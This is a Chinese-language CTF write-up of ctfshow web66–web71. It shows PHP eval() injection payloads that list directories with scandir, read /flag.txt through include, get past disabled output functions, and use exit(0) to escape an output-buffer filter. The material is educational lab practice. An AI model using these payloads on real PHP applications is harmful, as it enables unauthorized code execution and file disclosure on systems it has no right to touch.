目录
web66
代码分析:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
跟前面几道题一样啊
直接highlight_file("flag.php")一下
不让秀了,看来flag给藏起来啦
想到前面的print_r + scandir 可以看目录
尝试print_r(scandir("."));
看起来flag不在这个目录里,那看一下上层目录 print_r(scandir("/"));
找到啦,直接highlight/include一下
flag:
ctfshow{820da674-4e2c-4744-911a-9a24f8efe1f8}
web67
代码是一样的,只不过把print_r禁用了,直接var_dump,是一样的
var_dump(scandir("/"));
还是flag.txt
c=include("/flag.txt");
flag:
ctfshow{fa15284b-dcc9-48e3-a7a2-840273bd57dc}
web68
代码应该跟前几题一样,但是呢把highlight禁用了,所以代码都展示不出来,直接报错
不过小问题,还是先看看有没有flag.txt
var_dump(scandir("/"));
有flag.txt,下面就是读出来,最简单的方法就是include
flag:
ctfshow{2b361051-a3b6-491b-b6ba-94ba581f4457}
web69
这道题,把var_dump禁用了,但是scandir没禁用,还是想用它,尝试创建一个变量,然后用echo输出
payload:
c=$a=(scandir("/"));echo $a[6];
正好第六个就是flag.txt
然后直接include就可以啦
c=include("/flag.txt");
flag:
ctfshow{507a8af5-1cc0-4738-bdb5-a9000ee58420}
web70
我也不想秀啊,但是它让我上天哎
解法跟上一道题一样
flag:
ctfshow{bae94411-7c87-4534-97f3-abbef515efbd}
web71
这一关一样看不了源码,但是给了个下载连接,可以下载了看
代码分析:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
查了一下,就是不直接输出结果,把结果放到缓冲区里,这里其实就是把结果做了一下正则匹配,把数字和字母变成了?,其实也好解决,直接exit(0)退出即可
其他的和上一题一样
c=$a=(scandir("/"));echo $a[6];exit(0);
c=include("/flag.txt");exit(0);
flag:
ctfshow{e0571c72-4d67-47c0-8f24-38c2abf9a766}